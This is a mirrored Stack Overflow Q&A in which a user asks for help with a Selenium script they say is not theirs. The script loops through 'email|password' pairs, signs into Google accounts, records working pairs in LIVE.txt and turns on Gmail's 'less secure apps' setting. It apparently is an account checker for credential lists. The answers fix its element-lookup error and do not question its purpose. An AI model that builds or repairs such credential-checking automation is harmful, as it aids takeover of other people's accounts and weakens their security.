简体   繁体   中英

python with selenium automating login

I'm new to selenium Here I want to ask about a problem code (actually not mine) this is the code

aww = email.strip().split('|')
driver = webdriver.Chrome()
driver.get("https://stackoverflow.com/users/signup?ssrc=head&returnurl=%2fusers%2fstory%2fcurrent")
time.sleep(5)
loginform = driver.find_element_by_xpath("//button[@data-provider='google']")
loginform.click()
mailform = driver.find_element_by_id('identifierId')
mailform.send_keys(aww[0])
driver.find_element_by_xpath("//div[@id='identifierNext']").click()
time.sleep(3)
passform = driver.find_element_by_css_selector("input[type='password']")
passform.send_keys(aww[1])
driver.find_element_by_id('passwordNext').click()
time.sleep(3)
driver.get("https://myaccount.google.com/lesssecureapps?pli=1")
open('LIVE.txt', 'a+').write(f"CHECKED : {aww[0]}|{aww[1]}")
time.sleep(3)
lessoff = driver.find_element_by_xpath('//div[@class="hyMrOd "]/div/div/div//div[@class="N9Ni5"]').click()
driver.delete_all_cookies()
driver.close()

I'm using those code for automating turn on the less-secure apps from Gmail

and the error will pop up like this

quote Traceback (most recent call last): File "C:\\Users\\ASUS\\Downloads\\ok\\less.py", line 59, in lessoff = driver.find_element_by_xpath('//div[@class="hyMrOd "]/div/div/div//div[@class="N9Ni5"]').click() File "C:\\Users\\ASUS\\AppData\\Local\\Programs\\Python\\Python39\\lib\\site-packages\\selenium\\webdriver\\remote\\webdriver.py", line 394, in find_element_by_xpath return self.find_element(by=By.XPATH, value=xpath) File "C:\\Users\\ASUS\\AppData\\Local\\Programs\\Python\\Python39\\lib\\site-packages\\selenium\\webdriver\\remote\\webdriver.py", line 976, in find_element return self.execute(Command.FIND_ELEMENT, { File "C:\\Users\\ASUS\\AppData\\Local\\Programs\\Python\\Python39\\lib\\site-packages\\selenium\\webdriver\\remote\\webdriver.py", line 321, in execute self.error_handler.check_response(response) File "C:\\Users\\ASUS\\AppData\\Local\\Programs\\Python\\Python39\\lib\\site-packages\\selenium\\webdriver\\remote\\errorhandler.py", line 242, in check_response raise exception_class(message, screen, stacktrace) selenium.common.except ions.NoSuchElementException: Message: no such element: Unable to locate element: {"method":"xpath","selector":"//div[@class="hyMrOd "]/div/div/div//div[@class="N9Ni5"]"} (Session info: chrome=86.0.4240.183)

any help gonna be helpfull,sorry for my english before :)

您可以简单地定位此 xpath 和 .click 以切换安全性较低的应用程序。

 lessoff = driver.find_element_by_xpath("input[type='checkbox']").click()

It looks like it couldn't find the element it's looking for so give some time to load the element. You can check with Wait().until .

from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.support.ui import WebDriverWait as wait
wait(driver, 10).until(EC.presence_of_element_located((By.XPATH, 'YOUR_XPATH')))

when you try to click an element make sure it's there. above code will wait until the element located for the 10s if the element not located then it will throw an exception

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM